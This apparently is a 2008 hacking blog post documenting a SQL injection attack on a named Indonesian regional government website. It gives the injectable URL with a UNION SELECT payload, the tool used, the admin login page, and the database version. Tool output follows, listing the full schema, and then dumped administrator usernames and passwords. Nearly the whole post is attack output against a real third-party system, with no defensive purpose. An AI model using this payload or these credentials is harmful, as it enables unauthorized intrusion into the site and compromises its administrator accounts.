viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Friday, November 14, 2008

[SQLi] http://www.gunungkidulkab.go.id

1:58 PM Posted by viperfx07 No comments
Tool: schemafuzz.py v5.0
Admin login loc: http://www.gunungkidulkab.go.id/gerbangkabupaten.php
Problem: can't login?

[+] URL:http://www.gunungkidulkab.go.id/home.php?mode=content&id=177+AND+1=2+UNION+SELECT+0,1,2,3,4,sqli,6,7,8,9,10,11,12,13--
[+] Evasion Used: "+" "--"
[+] 13:17:12
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: dbportalgunungkidul
User: gunungkidulkab.g@localhost
Version: 5.0.38-Ubuntu_0ubuntu1-log


[Database]: dbportalgunungkidul
[Table: Columns]
[0]detail_kategori: id,idk,name
[1]detail_kfoto: idk,idf,name,keterangan,nama_file,tanggal,klik
[2]kategori: id,name,keterangan
[3]petadetail_kategori: id,idk,name
[4]petadetail_kfoto: idk,idf,name,keterangan,nama_file,tanggal,klik
[5]petakategori: id,name,keterangan
[6]t_content: content_id,kategori_id,subkategori_id,content_judul,content_deskripsi,content_isi,content_adafoto,content_file,content_tglentri,content_baca,content_isaktif,login
[7]t_footer: footer_id,footer_judul,footer_isaktif
[8]t_group: group_id,group_nama
[9]t_jenislink: jenislink_id,jenislink_nama,jenislink_isaktif
[10]t_kategori: kategori_id,posisimenu_id,kategori_urut,kategori_nama,kategori_isaktif
[11]t_linksite: linksite_id,jenislink_id,linksite_nama,linksite_situs,linksite_gambar,linksite_isaktif
[12]t_marquee: marquee_id,marquee_isi,marquee_isaktif
[13]t_posisimenu: posisimenu_id,posisimenu_nama,posisimenu_isaktif
[14]t_setinghome: setinghome_id,posisimenu_id,setinghome_urut,setinghome_subjek,setinghome_versi,setinghome_keterangan,setinghome_fileprogram,setinghome_filetemplate,setinghome_isaktif
[15]t_slogan: slogan_id,slogan_nama,slogan_foto,slogan_isaktif
[16]t_smsbaner: smsbaner_id,smsbaner_nama,smsbaner_foto,smsbaner_isaktif
[17]t_subkategori: subkategori_id,kategori_id,subkategori_urut,subkategori_nama,subkategori_isaktif,subkategori_file,subkategori_tinggigbr,subkategori_lebargbr,subkategori_adagbr
[18]tblbtamu: tblbtamu_id,tblbtamu_name,tblbtamu_email,tblbtamu_location,tblbtamu_url,tblbtamu_comment,tblbtamu_tanggal,tblbtamu_waktu,tblbtamu_ip
[19]tblbukutamu: tblbukutamu_id,tblbukutamu_ip,tblbukutamu_induk,tblbukutamu_nama,tblbukutamu_email,tblbukutamu_judul,tblbukutamu_isi,tblbukutamu_isaktif,tblbukutamu_tgljam
[20]tblcdiskusi: tblcdiskusi_id,tbldiskusi_id,tblcdiskusi_name,tblcdiskusi_email,tblcdiskusi_comment,tblcdiskusi_tanggal,tblcdiskusi_waktu
[21]tblcide: tblcide_id,tblide_id,tblcide_name,tblcide_email,tblcide_comment,tblcide_tanggal,tblcide_waktu
[22]tblcontent: tblcontent_id,tblweblayoutmenudetil_id,tblcontent_nama
[23]tbldiskusi: tbldiskusi_id,tbldiskusi_name,tbldiskusi_email,tbldiskusi_location,tbldiskusi_url,tbldiskusi_judul,tbldiskusi_comment,tbldiskusi_tanggal,tbldiskusi_waktu
[24]tblide: tblide_id,tblide_name,tblide_email,tblide_location,tblide_url,tblide_judul,tblide_comment,tblide_tanggal,tblide_waktu
[25]tblinfokecamatan: tblinfokecamatan_id,tblkecamatan_id,tblinfokecamatan_luas,tblinfokecamatan_petaadmin,tblinfokecamatan_jumpenduduk,tblinfokecamatan_kepadatan,tblinfokecamatan_pendapatanperkapita,tblinfokecamatan_potensi,tblinfokecamatan_rencanabangunkembang,tblinfokecamatan_rtmiskin,tblinfokecamatan_tanggal
[26]tblinstansi: tblinstansi_id,tbljnsinstansi_id,tblinstansi_nama
[27]tbljnsinstansi: tbljnsinstansi_id,tbljnsinstansi_nama
[28]tblkecamatan: tblkecamatan_id,tblkecamatan_nama
[29]tblkelompok: tblkelompok_id,tblkelompok_nama,tblkelompok_isaktif
[30]tblkelompoklink: tblkelompoklink_id,tblkelompoklink_nama,tblkelompoklink_url,tblkelompoklink_namafile,tblkelompoklink_isaktif
[31]tblkelompoksub: tblkelompok_id,tblkelompoksub_id,tblkelompoksub_keterangan,tblkelompoksub_namafile,tblkelompoksub_url,tblkelompoksub_isaktif
[32]tblkomentar: tblkomentar_id,tblbtamu_id,tblkomentar_name,tblkomentar_email,tblkomentar_location,tblkomentar_comment,tblkomentar_tanggal,tblkomentar_waktu,tblkomentar_ip
[33]tblkonkomentar: tblkonkomentar_id,tblkontak_id,tblkonkomentar_name,tblkonkomentar_email,tblkonkomentar_location,tblkonkomentar_comment,tblkonkomentar_tanggal,tblkonkomentar_waktu
[34]tblkontak: tblkontak_id,tblkontak_name,tblkontak_email,tblkontak_location,tblkontak_url,tblkontak_comment,tblkontak_tanggal,tblkontak_waktu
[35]tbllappengendalian: tbllappengendalian_id,tblinstansi_id,tbljnsinstansi_id,tbllappengendalian_keuanganjumdana,tbllappengendalian_keuangansasaran,tbllappengendalian_keuangansasaranpersen,tbllappengendalian_keuanganrealisasi,tbllappengendalian_keuanganrealisasipersen,tbllappengendalian_keuanganratos,tbllappengendalian_fisiktimbangsasaran,tbllappengendalian_fisiktimbangrealisasi,tbllappengendalian_fisikratos,tbllappengendalian_kondisibulanawal,tbllappengendalian_kondisibulanakhir,tbllappengendalian_tahunawal,tbllappengendalian_tahunakhir
[36]tblmenu: tblmenu_id,tblmenu_menu,tblmenu_level,tblmenu_induk,tblmenu_isaktif
[37]tblmulmed: tblmulmedinduk_id,tblmulmed_id,tblmulmed_judul,tblmulmed_deskripsi,tblmulmed_kapasitas,tblmulmed_namafile,tblmulmed_tanggal,tblmulmed_istayang
[38]tblmulmedinduk: tblmulmedinduk_id,tblmulmedinduk_kategori,tblmulmedinduk_istayang
[39]tblpengguna: tblpengguna_id,tblpengguna_login,tblpengguna_pass,tblpengguna_nama,tblgroup_id,tblpengguna_isaktif,tblpengguna_to
[40]tblsubcontent: tblsubcontent_id,tblcontent_id,tblsubcontent_nam,tblsubcontent_isi
[41]tblsubdomainlink: tblsubdomainlink_id,tblsubdomainlink_nama,tblsubdomainlink_url,tblsubdomainlink_namafile,tblsubdomainlink_isaktif
[42]tblweblayout: tblweblayout_id,tblweblayout_nama,tblweblayout_tglupdate,tblweblayout_namafile,tblweblayout_isaktif,tblpengguna_id
[43]tblweblayoutkontent: tblweblayoutkontent_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutmenu_id,tblweblayoutmenudetil_id,tblweblayoutkontent_urut,tblweblayoutkontent_judul,tblweblayoutkontent_isi,tblweblayoutkontent_tglupdate,tblweblayoutkontent_isfile,tblweblayoutkontent_namafile,tblweblayoutkontent_istayang,tblpengguna_id,tblweblayoutkontent_klik
[44]tblweblayoutmenu: tblweblayoutmenu_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutmenu_nama,tblweblayoutmenu_urut,tblweblayoutmenu_isaktif,tblpengguna_id
[45]tblweblayoutmenudetil: tblweblayoutmenudetil_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutmenu_id,tblweblayoutmenudetil_nama,tblweblayoutmenudetil_urut,tblweblayoutmenudetil_induk,tblweblayoutmenudetil_isaktif,tblweblayoutmenudetil_home,tblweblayoutmenudetil_modetampil,tblpengguna_id,tblweblayoutmenudetil_privileges
[46]tblweblayoutmenudetilfile: tblweblayoutmenudetilfile_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutmenu_id,tblweblayoutmenudetil_id,tblweblayoutmenudetilfile_ket,tblweblayoutmenudetilfile_namafile,tblpengguna_id
[47]tblweblayoutmenudetilpengguna: tblweblayoutmenudetilpengguna_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutmenu_id,tblweblayoutmenudetil_id,tblpengguna_id
[48]tblweblayoutposisi: tblweblayoutposisi_id,tblweblayout_id,tblweblayoutposisi_urut,tblweblayoutposisi_nama,tblweblayoutposisi_lokasi,tblweblayoutposisi_fileprogram,tblweblayoutposisi_filetemplate,tblweblayoutposisi_isaktif,tblweblayoutposisi_ismenu,tblpengguna_id,tblweblayoutposisi_ishome
[49]tblweblayoutposisifile: tblweblayoutposisifile_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutposisifile_namafile,tblpengguna_id
[50]tblweblayoutposisifileprogram: tblweblayoutposisifile_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutposisifile_namafile,tblpengguna_id
[51]tblweblayoutposisifilepustaka: tblweblayoutposisifile_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutposisifile_namafile,tblpengguna_id
[52]tblweblayoutposisifiletemplate: tblweblayoutposisifile_id,tblweblayout_id,tblweblayoutposisi_id,tblweblayoutposisifile_namafile,tblpengguna_id
[53]userlevelpermissions: userlevelid,tablename,permission
[54]userlevels: userlevelid,userlevelname

[-] [13:34:57]
[-] Total URL Requests 338
[-] Done


[+] URL:http://www.gunungkidulkab.go.id/home.php?mode=content&id=177+AND+1=2+UNION+SELECT+0,1,2,3,4,sqli,6,7,8,9,10,11,12,13--
[+] Evasion Used: "+" "--"
[+] 13:43:41
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: dbportalgunungkidul
User: gunungkidulkab.g@localhost
Version: 5.0.38-Ubuntu_0ubuntu1-log
[+] Dumping data from database "dbportalgunungkidul" Table "tblpengguna"
[+] Column(s) ['tblpengguna_login', 'tblpengguna_pass']
[+] Number of Rows: 3

[0] adminsetmodule:1nk0mgkmodule:
[1] adminentrydata:1nk0mgkdata:
[2] Data Umum:1nk0mgkdatum:1nk0mgkdatum:

[-] [13:43:59]
[-] Total URL Requests 5
[-] Done

0 comments:

Post a Comment